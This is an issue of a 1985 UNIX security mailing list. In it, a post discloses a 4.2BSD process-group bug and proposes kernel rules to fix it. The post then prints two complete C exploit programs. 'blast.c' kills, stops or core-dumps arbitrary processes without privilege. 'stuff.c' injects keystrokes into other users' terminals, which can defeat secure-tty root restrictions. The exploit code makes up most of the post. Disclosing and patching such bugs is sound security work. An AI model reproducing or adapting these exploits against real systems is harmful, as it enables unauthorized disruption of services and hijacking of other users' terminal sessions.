Date: 6 Mar 1985 2307-MST (Wednesday) Subject: Security Mailing List, # 8 ---------------------------------------------------------------------------- Editor's corner Cupboard must be getting a little bare out there. Are we out of topics, or is my mail getting fouled up again? Newcomers to the list since last issue: George Rosenberg (george@idis) Peter Gross (pag@hao) Debra Wilson (root@idis) ---------------------------------------------------------------------------- Date: Fri, 1 Mar 85 17:10:21 pst From: ihnp4!nsc!chongo (Landon C. Noll) Subject: process group bugs There is a major bug in 4.2 which allows you to set your process group and your terminal process group to any value you like. This results in several nasty security features: 1) you can send a signal to any process group (which as kill -9) which in turn can send the signal to any process. say stop your favorite security daemon, bother init (being the system down to single user?) and so on... 2) you can stuff characters into any tty which is writable. most logged off ttys are writable, and since most people dont set mesg off, this means most ttys. 3) secure tty (prevent root logins except at a few ttys) can be worked around by stuffing a unused (normally writable) port with your root login. 4) usw. The fix is simple: restruct the values to which a process and terminal process group can be set and alter values to which detached processes get set to. Sys V allows you to only set them to the value equal to your pid, but this is not Standard Berkeley Unix. :-) One needs to set them to other values due to things like cshell and job control. After looking over existing 4.1BSD and 4.2BSD code, the following rules would allow all existing distribution progs to work, and plug up the bug at the same time. These rules apply for both the process group value and the terminal process group value: - Any superuser process can set to any value - Only the superuser may set to value = 0 - Only the superuser and a detached job may set to value=1 - Detached process values must be set to 1 (init runs under value=0) - Non-superuser processes may set to a value equal to the value of the pid of the following: = itself = direct descendent (child, grand-child, etc.) = direct ancestor (parent, grand-parent) as long as it is not the value 0 or 1 The mods to the kernel are simple, but your need a source lic. to do them. Binary sites are out of luck in the matter!!! Here are the progs which show the problems: The following program allows you to send a nasty signal (quit, intr,...) to any process (such as 1 or your favorite former boss' rogue game ) :-) -----------------------------cut by hand for blast.c--------------------- /* * Blast: program to kill, core dump, or stop other programs, even without * the usual privileges. Shows off bugs involving process group handling. * David I. Bell. (alias DBell) */ #include #include main(argc, argv) char **argv; { register char *str; /* argument */ register char *cp; /* character to type */ register int pid; /* pid to blast */ int pgrp; /* his process group */ struct sgttyb sb; /* old and new tty flags */ struct sgttyb nsb; struct tchars tc; /* tty chars */ struct ltchars lc; if (argc < 2) { fprintf(stderr, "usage: blast [-ksd] pid ...\n"); exit(1); } ioctl(0, TIOCGETP, &sb); /* turn off echoing */ nsb = sb; nsb.sg_flags &= ~ECHO; ioctl(0, TIOCSETN, &nsb); if (ioctl(0, TIOCGETC, &tc)) { /* get our tty chars */ perror("getc"); goto done; } if (ioctl(0, TIOCGLTC, &lc)) { /* and local chars */ perror("lgetc"); goto done; } argv++; cp = &tc.t_intrc; /* default is kill */ sigsetmask(-1); /* save ourselves */ while (argc-- > 1) { str = *argv++; if (*str == '-') { /* an option */ switch (str[1]) { case 'k': /* kill process */ cp = &tc.t_intrc; break; case 's': /* stop process */ cp = &lc.t_suspc; break; case 'd': /* dump process */ cp = &tc.t_quitc; break; default: /* illegal */ fprintf(stderr, "bad option\n"); goto done; } continue; } pid = 0; while (*str) { /* read pid number */ pid = pid * 10; if ((*str < '0') || (*str > '9')) { fprintf(stderr, "bad number\n"); goto done; } pid += (*str++ - '0'); } pgrp = getpgrp(pid); /* get victim's process group */ if (pgrp < 0) { perror("getpgrp"); goto done; } if (ioctl(0, TIOCSPGRP, &pgrp)) { /* set tty process group */ perror("ttyspgrp"); goto done; } if (setpgrp(0, pgrp)) { /* set my own process group */ perror("spgrp"); goto done; } if (ioctl(0, TIOCSTI, cp)) { /* stuff the char on my tty */ perror("sti"); goto done; } } done: ioctl(0, TIOCSETN, &sb); /* reset echoing */ } -----------------------------end of cut of blast.c----------------------- The following program will allow you to stuff characters into any terminal which you can open for write: -----------------------------cut by hand for stuff.c--------------------- /* * Stuff: program to stuff input into another terminal. David I. Bell. (DBell) * This program bypasses the normal superuser check for stuffing chars * into other people's terminals. All you need is write permission on * the user's terminal. */ #include #include main(argc, argv) char **argv; { register int fd; /* file descriptor */ char ch; /* current character */ char name[100]; /* tty name */ struct sgttyb sb; /* old and new tty flags */ struct sgttyb nsb; if (argc < 2) { fprintf(stderr, "stuff ttyname\n"); exit(1); } argv++; if (**argv == '/') strcpy(name, *argv); /* build full name */ else sprintf(name, "/dev/%s", *argv); if (setpgrp(0, 0)) { /* clear my process group */ perror("spgrp"); goto done; } if (open(name, 1) < 0) { /* open tty, making it mine */ perror(name); exit(1); } fd = open("/dev/tty", 2); /* open read/write as tty */ if (fd < 0) { perror("/dev/tty"); exit(1); } ioctl(0, TIOCGETP, &sb); /* go to raw mode */ nsb = sb; nsb.sg_flags |= RAW; nsb.sg_flags &= ~ECHO; ioctl(0, TIOCSETN, &nsb); sigsetmask(-1); /* stop hangups */ printf("Connected. Type ^B to exit\r\n"); while (1) { /* stuff them chars */ if (read(0, &ch, 1) <= 0) break; if ((ch & 0x7f) == '\002') break; if (ioctl(fd, TIOCSTI, &ch)) { /* stuff char on "his" tty */ perror("\r\nsti failed\r"); goto done; } ch &= 0x7f; /* echo it for me */ if (ch < ' ') { if ((ch == '\r') || (ch == '\n')) { write(1, "\r\n", 2); continue; } ch += '@'; write(1, "^", 1); write(1, &ch, 1); continue; } if (ch == '\177') { write(1, "^?", 2); continue; } write(1, &ch, 1); } done: ioctl(0, TIOCSETN, &sb); /* reset tty */ } -----------------------------end of cut of stuff.c---------------------- chongo /\$$/\ --- Lome tiranar? Ash Urnikx arda! Ash thrakatuluk krimpatul! ---------------------------------------------------------------------------- The UNIX security issues mail list Ignore the headers on this list and mail to: ...denelcor!security (mail for the list). ...denelcor!sec-request (administrativia).